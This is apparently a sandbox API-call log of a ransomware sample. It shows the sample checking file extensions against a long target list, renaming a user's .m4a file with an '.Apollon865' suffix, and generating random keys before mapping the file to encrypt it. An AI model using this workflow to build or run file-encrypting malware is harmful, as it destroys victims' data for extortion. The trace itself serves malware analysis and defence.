	[0088.471] lstrcmpiW (lpString1="m4a", lpString2="zip") returned -1
	[0088.471] lstrlenW (lpString="tgz") returned 3
	[0088.471] lstrcmpiW (lpString1="m4a", lpString2="tgz") returned -1
	[0088.471] lstrlenW (lpString="vbox") returned 4
	[0088.472] lstrcmpiW (lpString1=".m4a", lpString2="vbox") returned -1
	[0088.472] lstrlenW (lpString="vdi") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="vdi") returned -1
	[0088.472] lstrlenW (lpString="vhd") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="vhd") returned -1
	[0088.472] lstrlenW (lpString="vhdx") returned 4
	[0088.472] lstrcmpiW (lpString1=".m4a", lpString2="vhdx") returned -1
	[0088.472] lstrlenW (lpString="avhd") returned 4
	[0088.472] lstrcmpiW (lpString1=".m4a", lpString2="avhd") returned -1
	[0088.472] lstrlenW (lpString="db") returned 2
	[0088.472] lstrcmpiW (lpString1="4a", lpString2="db") returned -1
	[0088.472] lstrlenW (lpString="db2") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="db2") returned 1
	[0088.472] lstrlenW (lpString="db3") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="db3") returned 1
	[0088.472] lstrlenW (lpString="dbf") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="dbf") returned 1
	[0088.472] lstrlenW (lpString="mdf") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="mdf") returned -1
	[0088.472] lstrlenW (lpString="mdb") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="mdb") returned -1
	[0088.472] lstrlenW (lpString="sql") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="sql") returned -1
	[0088.472] lstrlenW (lpString="sqlite") returned 6
	[0088.472] lstrcmpiW (lpString1="us.m4a", lpString2="sqlite") returned 1
	[0088.472] lstrlenW (lpString="sqlite3") returned 7
	[0088.472] lstrcmpiW (lpString1="Gus.m4a", lpString2="sqlite3") returned -1
	[0088.472] lstrlenW (lpString="sqlitedb") returned 8
	[0088.472] lstrcmpiW (lpString1="aGus.m4a", lpString2="sqlitedb") returned -1
	[0088.472] lstrlenW (lpString="xml") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="xml") returned -1
	[0088.472] lstrlenW (lpString="$er") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="$er") returned 1
	[0088.472] lstrlenW (lpString="4dd") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="4dd") returned 1
	[0088.472] lstrlenW (lpString="4dl") returned 3
	[0088.472] lstrcmpiW (lpString1="m4a", lpString2="4dl") returned 1
	[0088.472] lstrlenW (lpString="^^^") returned 3
	[0088.473] lstrcmpiW (lpString1="m4a", lpString2="^^^") returned 1
	[0088.473] lstrlenW (lpString="abs") returned 3
	[0088.473] lstrcmpiW (lpString1="m4a", lpString2="abs") returned 1
	[0088.473] lstrlenW (lpString="abx") returned 3
	[0088.473] lstrcmpiW (lpString1="m4a", lpString2="abx") returned 1
	[0088.473] lstrlenW (lpString="accdb") returned 5
	[0088.473] lstrcmpiW (lpString1="s.m4a", lpString2="accdb") returned 1
	[0088.473] lstrlenW (lpString="accdc") returned 5
	[0088.473] lstrcmpiW (lpString1="s.m4a", lpString2="accdc") returned 1
	[0088.473] lstrlenW (lpString="accde") returned 5
	[0088.473] lstrcmpiW (lpString1="s.m4a", lpString2="accde") returned 1
	[0088.473] lstrlenW (lpString="accdr") returned 5
	[0088.473] lstrcmpiW (lpString1="s.m4a", lpString2="accdr") returned 1
	[0088.473] lstrlenW (lpString="accdt") returned 5
	[0088.473] lstrcmpiW (lpString1="s.m4a", lpString2="accdt") returned 1
	[0088.473] lstrlenW (lpString="accdw") returned 5
	[0088.473] lstrcmpiW (lpString1="s.m4a", lpString2="accdw") returned 1
	[0088.473] lstrlenW (lpString="accft") returned 5
	[0088.473] lstrcmpiW (lpString1="s.m4a", lpString2="accft") returned 1
	[0088.473] lstrlenW (lpString="adb") returned 3
	[0088.473] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0088.473] lstrlenW (lpString="adb") returned 3
	[0088.473] lstrcmpiW (lpString1="m4a", lpString2="adb") returned 1
	[0088.473] lstrlenW (lpString="ade") returned 3
	[0088.473] lstrcmpiW (lpString1="m4a", lpString2="ade") returned 1
	[0088.473] lstrlenW (lpString="adf") returned 3
	[0088.473] lstrcmpiW (lpString1="m4a", lpString2="adf") returned 1
	[0088.473] lstrlenW (lpString="adn") returned 3
	[0088.473] lstrcmpiW (lpString1="m4a", lpString2="adn") returned 1
	[0088.473] lstrlenW (lpString="adp") returned 3
	[0088.473] lstrcmpiW (lpString1="m4a", lpString2="adp") returned 1
	[0088.474] lstrlenW (lpString="alf") returned 3
	[0088.474] lstrcmpiW (lpString1="m4a", lpString2="alf") returned 1
	[0088.474] lstrlenW (lpString="ask") returned 3
	[0088.474] lstrcmpiW (lpString1="m4a", lpString2="ask") returned 1
	[0088.474] lstrlenW (lpString="btr") returned 3
	[0088.474] lstrcmpiW (lpString1="m4a", lpString2="btr") returned 1
	[0088.474] lstrlenW (lpString="cat") returned 3
	[0088.474] lstrcmpiW (lpString1="m4a", lpString2="cat") returned 1
	[0088.474] lstrlenW (lpString="cdb") returned 3
	[0088.474] lstrcmpiW (lpString1="m4a", lpString2="cdb") returned 1
	[0088.474] lstrlenW (lpString="ckp") returned 3
	[0088.474] lstrcmpiW (lpString1="m4a", lpString2="ckp") returned 1
	[0088.474] lstrlenW (lpString="cma") returned 3
	[0088.474] lstrcmpiW (lpString1="m4a", lpString2="cma") returned 1
	[0088.474] lstrlenW (lpString="cpd") returned 3
	[0088.474] lstrcmpiW (lpString1="m4a", lpString2="cpd") returned 1
	[0088.474] lstrlenW (lpString="dacpac") returned 6
	[0088.474] lstrcmpiW (lpString1="us.m4a", lpString2="dacpac") returned 1
	[0088.474] lstrlenW (lpString="dad") returned 3
	[0088.474] lstrcmpiW (lpString1="m4a", lpString2="dad") returned 1
	[0088.474] lstrlenW (lpString="dadiagrams") returned 10
	[0088.474] lstrcmpiW (lpString1="1iaGus.m4a", lpString2="dadiagrams") returned -1
	[0088.474] lstrlenW (lpString="daschema") returned 8
	[0088.474] lstrcmpiW (lpString1="aGus.m4a", lpString2="daschema") returned -1
	[0088.474] lstrlenW (lpString="db-journal") returned 10
	[0088.474] lstrcmpiW (lpString1="1iaGus.m4a", lpString2="db-journal") returned -1
	[0088.474] lstrlenW (lpString="db-shm") returned 6
	[0088.474] lstrcmpiW (lpString1="us.m4a", lpString2="db-shm") returned 1
	[0088.474] lstrlenW (lpString="db-wal") returned 6
	[0088.474] lstrcmpiW (lpString1="us.m4a", lpString2="db-wal") returned 1
	[0088.475] lstrlenW (lpString="dbc") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dbc") returned 1
	[0088.475] lstrlenW (lpString="dbs") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dbs") returned 1
	[0088.475] lstrlenW (lpString="dbt") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dbt") returned 1
	[0088.475] lstrlenW (lpString="dbv") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dbv") returned 1
	[0088.475] lstrlenW (lpString="dbx") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dbx") returned 1
	[0088.475] lstrlenW (lpString="dcb") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dcb") returned 1
	[0088.475] lstrlenW (lpString="dct") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dct") returned 1
	[0088.475] lstrlenW (lpString="dcx") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dcx") returned 1
	[0088.475] lstrlenW (lpString="ddl") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="ddl") returned 1
	[0088.475] lstrlenW (lpString="dlis") returned 4
	[0088.475] lstrcmpiW (lpString1=".m4a", lpString2="dlis") returned -1
	[0088.475] lstrlenW (lpString="dp1") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dp1") returned 1
	[0088.475] lstrlenW (lpString="dqy") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dqy") returned 1
	[0088.475] lstrlenW (lpString="dsk") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dsk") returned 1
	[0088.475] lstrlenW (lpString="dsn") returned 3
	[0088.475] lstrcmpiW (lpString1="m4a", lpString2="dsn") returned 1
	[0088.475] lstrlenW (lpString="dtsx") returned 4
	[0088.475] lstrcmpiW (lpString1=".m4a", lpString2="dtsx") returned -1
	[0088.476] lstrlenW (lpString="dxl") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="dxl") returned 1
	[0088.476] lstrlenW (lpString="eco") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="eco") returned 1
	[0088.476] lstrlenW (lpString="ecx") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="ecx") returned 1
	[0088.476] lstrlenW (lpString="edb") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="edb") returned 1
	[0088.476] lstrlenW (lpString="epim") returned 4
	[0088.476] lstrcmpiW (lpString1=".m4a", lpString2="epim") returned -1
	[0088.476] lstrlenW (lpString="fcd") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="fcd") returned 1
	[0088.476] lstrlenW (lpString="fdb") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="fdb") returned 1
	[0088.476] lstrlenW (lpString="fic") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="fic") returned 1
	[0088.476] lstrlenW (lpString="flexolibrary") returned 12
	[0088.476] lstrcmpiW (lpString1="GO1iaGus.m4a", lpString2="flexolibrary") returned 1
	[0088.476] lstrlenW (lpString="fm5") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="fm5") returned 1
	[0088.476] lstrlenW (lpString="fmp") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="fmp") returned 1
	[0088.476] lstrlenW (lpString="fmp12") returned 5
	[0088.476] lstrcmpiW (lpString1="s.m4a", lpString2="fmp12") returned 1
	[0088.476] lstrlenW (lpString="fmpsl") returned 5
	[0088.476] lstrcmpiW (lpString1="s.m4a", lpString2="fmpsl") returned 1
	[0088.476] lstrlenW (lpString="fol") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="fol") returned 1
	[0088.476] lstrlenW (lpString="fp3") returned 3
	[0088.476] lstrcmpiW (lpString1="m4a", lpString2="fp3") returned 1
	[0088.477] lstrlenW (lpString="fp4") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="fp4") returned 1
	[0088.477] lstrlenW (lpString="fp5") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="fp5") returned 1
	[0088.477] lstrlenW (lpString="fp7") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="fp7") returned 1
	[0088.477] lstrlenW (lpString="fpt") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="fpt") returned 1
	[0088.477] lstrlenW (lpString="frm") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="frm") returned 1
	[0088.477] lstrlenW (lpString="gdb") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0088.477] lstrlenW (lpString="gdb") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="gdb") returned 1
	[0088.477] lstrlenW (lpString="grdb") returned 4
	[0088.477] lstrcmpiW (lpString1=".m4a", lpString2="grdb") returned -1
	[0088.477] lstrlenW (lpString="gwi") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="gwi") returned 1
	[0088.477] lstrlenW (lpString="hdb") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="hdb") returned 1
	[0088.477] lstrlenW (lpString="his") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="his") returned 1
	[0088.477] lstrlenW (lpString="ib") returned 2
	[0088.477] lstrcmpiW (lpString1="4a", lpString2="ib") returned -1
	[0088.477] lstrlenW (lpString="idb") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="idb") returned 1
	[0088.477] lstrlenW (lpString="ihx") returned 3
	[0088.477] lstrcmpiW (lpString1="m4a", lpString2="ihx") returned 1
	[0088.477] lstrlenW (lpString="itdb") returned 4
	[0088.478] lstrcmpiW (lpString1=".m4a", lpString2="itdb") returned -1
	[0088.478] lstrlenW (lpString="itw") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="itw") returned 1
	[0088.478] lstrlenW (lpString="jet") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="jet") returned 1
	[0088.478] lstrlenW (lpString="jtx") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="jtx") returned 1
	[0088.478] lstrlenW (lpString="kdb") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="kdb") returned 1
	[0088.478] lstrlenW (lpString="kexi") returned 4
	[0088.478] lstrcmpiW (lpString1=".m4a", lpString2="kexi") returned -1
	[0088.478] lstrlenW (lpString="kexic") returned 5
	[0088.478] lstrcmpiW (lpString1="s.m4a", lpString2="kexic") returned 1
	[0088.478] lstrlenW (lpString="kexis") returned 5
	[0088.478] lstrcmpiW (lpString1="s.m4a", lpString2="kexis") returned 1
	[0088.478] lstrlenW (lpString="lgc") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="lgc") returned 1
	[0088.478] lstrlenW (lpString="lwx") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="lwx") returned 1
	[0088.478] lstrlenW (lpString="maf") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="maf") returned -1
	[0088.478] lstrlenW (lpString="maq") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="maq") returned -1
	[0088.478] lstrlenW (lpString="mar") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="mar") returned -1
	[0088.478] lstrlenW (lpString="marshal") returned 7
	[0088.478] lstrcmpiW (lpString1="Gus.m4a", lpString2="marshal") returned -1
	[0088.478] lstrlenW (lpString="mas") returned 3
	[0088.478] lstrcmpiW (lpString1="m4a", lpString2="mas") returned -1
	[0088.479] lstrlenW (lpString="mav") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="mav") returned -1
	[0088.479] lstrlenW (lpString="maw") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="maw") returned -1
	[0088.479] lstrlenW (lpString="mdbhtml") returned 7
	[0088.479] lstrcmpiW (lpString1="Gus.m4a", lpString2="mdbhtml") returned -1
	[0088.479] lstrlenW (lpString="mdn") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="mdn") returned -1
	[0088.479] lstrlenW (lpString="mdt") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="mdt") returned -1
	[0088.479] lstrlenW (lpString="mfd") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="mfd") returned -1
	[0088.479] lstrlenW (lpString="mpd") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="mpd") returned -1
	[0088.479] lstrlenW (lpString="mrg") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="mrg") returned -1
	[0088.479] lstrlenW (lpString="mud") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="mud") returned -1
	[0088.479] lstrlenW (lpString="mwb") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="mwb") returned -1
	[0088.479] lstrlenW (lpString="myd") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="myd") returned -1
	[0088.479] lstrlenW (lpString="ndf") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="ndf") returned -1
	[0088.479] lstrlenW (lpString="nnt") returned 3
	[0088.479] lstrcmpiW (lpString1="m4a", lpString2="nnt") returned -1
	[0088.479] lstrlenW (lpString="nrmlib") returned 6
	[0088.479] lstrcmpiW (lpString1="us.m4a", lpString2="nrmlib") returned 1
	[0088.479] lstrlenW (lpString="ns2") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="ns2") returned -1
	[0088.480] lstrlenW (lpString="ns3") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="ns3") returned -1
	[0088.480] lstrlenW (lpString="ns4") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="ns4") returned -1
	[0088.480] lstrlenW (lpString="nsf") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="nsf") returned -1
	[0088.480] lstrlenW (lpString="nv") returned 2
	[0088.480] lstrcmpiW (lpString1="4a", lpString2="nv") returned -1
	[0088.480] lstrlenW (lpString="nv2") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="nv2") returned -1
	[0088.480] lstrlenW (lpString="nwdb") returned 4
	[0088.480] lstrcmpiW (lpString1=".m4a", lpString2="nwdb") returned -1
	[0088.480] lstrlenW (lpString="nyf") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="nyf") returned -1
	[0088.480] lstrlenW (lpString="odb") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0088.480] lstrlenW (lpString="odb") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="odb") returned -1
	[0088.480] lstrlenW (lpString="oqy") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="oqy") returned -1
	[0088.480] lstrlenW (lpString="ora") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="ora") returned -1
	[0088.480] lstrlenW (lpString="orx") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="orx") returned -1
	[0088.480] lstrlenW (lpString="owc") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="owc") returned -1
	[0088.480] lstrlenW (lpString="p96") returned 3
	[0088.480] lstrcmpiW (lpString1="m4a", lpString2="p96") returned -1
	[0088.480] lstrlenW (lpString="p97") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="p97") returned -1
	[0088.481] lstrlenW (lpString="pan") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="pan") returned -1
	[0088.481] lstrlenW (lpString="pdb") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="pdb") returned -1
	[0088.481] lstrlenW (lpString="pdm") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="pdm") returned -1
	[0088.481] lstrlenW (lpString="pnz") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="pnz") returned -1
	[0088.481] lstrlenW (lpString="qry") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="qry") returned -1
	[0088.481] lstrlenW (lpString="qvd") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="qvd") returned -1
	[0088.481] lstrlenW (lpString="rbf") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="rbf") returned -1
	[0088.481] lstrlenW (lpString="rctd") returned 4
	[0088.481] lstrcmpiW (lpString1=".m4a", lpString2="rctd") returned -1
	[0088.481] lstrlenW (lpString="rod") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="rod") returned -1
	[0088.481] lstrlenW (lpString="rodx") returned 4
	[0088.481] lstrcmpiW (lpString1=".m4a", lpString2="rodx") returned -1
	[0088.481] lstrlenW (lpString="rpd") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="rpd") returned -1
	[0088.481] lstrlenW (lpString="rsd") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="rsd") returned -1
	[0088.481] lstrlenW (lpString="sas7bdat") returned 8
	[0088.481] lstrcmpiW (lpString1="aGus.m4a", lpString2="sas7bdat") returned -1
	[0088.481] lstrlenW (lpString="sbf") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="sbf") returned -1
	[0088.481] lstrlenW (lpString="scx") returned 3
	[0088.481] lstrcmpiW (lpString1="m4a", lpString2="scx") returned -1
	[0088.482] lstrlenW (lpString="sdb") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="sdb") returned -1
	[0088.482] lstrlenW (lpString="sdc") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="sdc") returned -1
	[0088.482] lstrlenW (lpString="sdf") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="sdf") returned -1
	[0088.482] lstrlenW (lpString="sis") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="sis") returned -1
	[0088.482] lstrlenW (lpString="spq") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="spq") returned -1
	[0088.482] lstrlenW (lpString="te") returned 2
	[0088.482] lstrcmpiW (lpString1="4a", lpString2="te") returned -1
	[0088.482] lstrlenW (lpString="teacher") returned 7
	[0088.482] lstrcmpiW (lpString1="Gus.m4a", lpString2="teacher") returned -1
	[0088.482] lstrlenW (lpString="tmd") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="tmd") returned -1
	[0088.482] lstrlenW (lpString="tps") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="tps") returned -1
	[0088.482] lstrlenW (lpString="trc") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0088.482] lstrlenW (lpString="trc") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="trc") returned -1
	[0088.482] lstrlenW (lpString="trm") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="trm") returned -1
	[0088.482] lstrlenW (lpString="udb") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="udb") returned -1
	[0088.482] lstrlenW (lpString="udl") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="udl") returned -1
	[0088.482] lstrlenW (lpString="usr") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="usr") returned -1
	[0088.482] lstrlenW (lpString="v12") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="v12") returned -1
	[0088.482] lstrlenW (lpString="vis") returned 3
	[0088.482] lstrcmpiW (lpString1="m4a", lpString2="vis") returned -1
	[0088.483] lstrlenW (lpString="vpd") returned 3
	[0088.483] lstrcmpiW (lpString1="m4a", lpString2="vpd") returned -1
	[0088.483] lstrlenW (lpString="vvv") returned 3
	[0088.483] lstrcmpiW (lpString1="m4a", lpString2="vvv") returned -1
	[0088.483] lstrlenW (lpString="wdb") returned 3
	[0088.483] lstrcmpiW (lpString1="m4a", lpString2="wdb") returned -1
	[0088.483] lstrlenW (lpString="wmdb") returned 4
	[0088.483] lstrcmpiW (lpString1=".m4a", lpString2="wmdb") returned -1
	[0088.483] lstrlenW (lpString="wrk") returned 3
	[0088.483] lstrcmpiW (lpString1="m4a", lpString2="wrk") returned -1
	[0088.483] lstrlenW (lpString="xdb") returned 3
	[0088.483] lstrcmpiW (lpString1="m4a", lpString2="xdb") returned -1
	[0088.483] lstrlenW (lpString="xld") returned 3
	[0088.483] lstrcmpiW (lpString1="m4a", lpString2="xld") returned -1
	[0088.483] lstrlenW (lpString="xmlff") returned 5
	[0088.483] lstrcmpiW (lpString1="s.m4a", lpString2="xmlff") returned -1
	[0088.483] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\VS_dVFrYo_CGO1iaGus.m4a.Apollon865") returned 76
	[0088.483] MoveFileExW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\VS_dVFrYo_CGO1iaGus.m4a" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ulhwu\\vs_dvfryo_cgo1iagus.m4a"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\VS_dVFrYo_CGO1iaGus.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ulhwu\\vs_dvfryo_cgo1iagus.m4a.apollon865"), dwFlags=0x1) returned 1
	[0088.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Music\\ULhWU\\VS_dVFrYo_CGO1iaGus.m4a.Apollon865" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\music\\ulhwu\\vs_dvfryo_cgo1iagus.m4a.apollon865"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x88000080, hTemplateFile=0x0) returned 0x9c
	[0088.485] GetFileSizeEx (in: hFile=0x9c, lpFileSize=0x119e298 | out: lpFileSize=0x119e298*=87359) returned 1
	[0088.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x200300) returned 0x3060020
	[0088.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a920
	[0088.485] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x80) returned 0x5bf9a8
	[0088.485] CryptAcquireContextW (in: phProv=0x119d054, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d054*=0x5bf700) returned 1
	[0088.486] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d068 | out: pbBuffer=0x119d068) returned 1
	[0088.486] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.486] CreateFileMappingW (hFile=0x9c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15840, lpName=0x0) returned 0x15c
	[0088.486] MapViewOfFile (hFileMappingObject=0x15c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15840) returned 0x120000
	[0088.491] CryptAcquireContextW (in: phProv=0x119d004, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x119d004*=0x5bf700) returned 1
	[0088.491] CryptGenRandom (in: hProv=0x5bf700, dwLen=0x80, pbBuffer=0x119d018 | out: pbBuffer=0x119d018) returned 1
	[0088.491] CryptReleaseContext (hProv=0x5bf700, dwFlags=0x0) returned 1
	[0088.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x6c) returned 0x59a8a8
	[0088.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0088.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x100) returned 0x5c6668
	[0088.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b08e8
	[0088.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c6668 | out: hHeap=0x580000) returned 1
	[0088.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x104) returned 0x5b0a00
	[0088.492] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x208) returned 0x5b28e8
	[0088.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b0a00 | out: hHeap=0x580000) returned 1
	[0088.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b28e8 | out: hHeap=0x580000) returned 1
	[0088.492] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0088.492] UnmapViewOfFile (lpBaseAddress=0x120000) returned 1
	[0088.494] CloseHandle (hObject=0x15c) returned 1
	[0088.494] CloseHandle (hObject=0x9c) returned 1
	[0088.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a920 | out: hHeap=0x580000) returned 1
	[0088.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0088.495] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0088.496] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdc0a3f00, ftCreationTime.dwHighDateTime=0x1d4c5f7, ftLastAccessTime.dwLowDateTime=0xe56a3f40, ftLastAccessTime.dwHighDateTime=0x1d4cb98, ftLastWriteTime.dwLowDateTime=0xe56a3f40, ftLastWriteTime.dwHighDateTime=0x1d4cb98, nFileSizeHigh=0x0, nFileSizeLow=0x1553f, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="VS_dVFrYo_CGO1iaGus.m4a", cAlternateFileName="VS_DVF~1.M4A")) returned 0
	[0088.496] FindClose (in: hFindFile=0x5ca2d0 | out: hFindFile=0x5ca2d0) returned 1
	[0088.496] RtlInterlockedPopEntrySList (in: ListHead=0x5b75f0 | out: ListHead=0x5b75f0) returned 0x5b7970
	[0088.496] lstrcpynW (in: lpString1=0x119e608, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Local Settings"
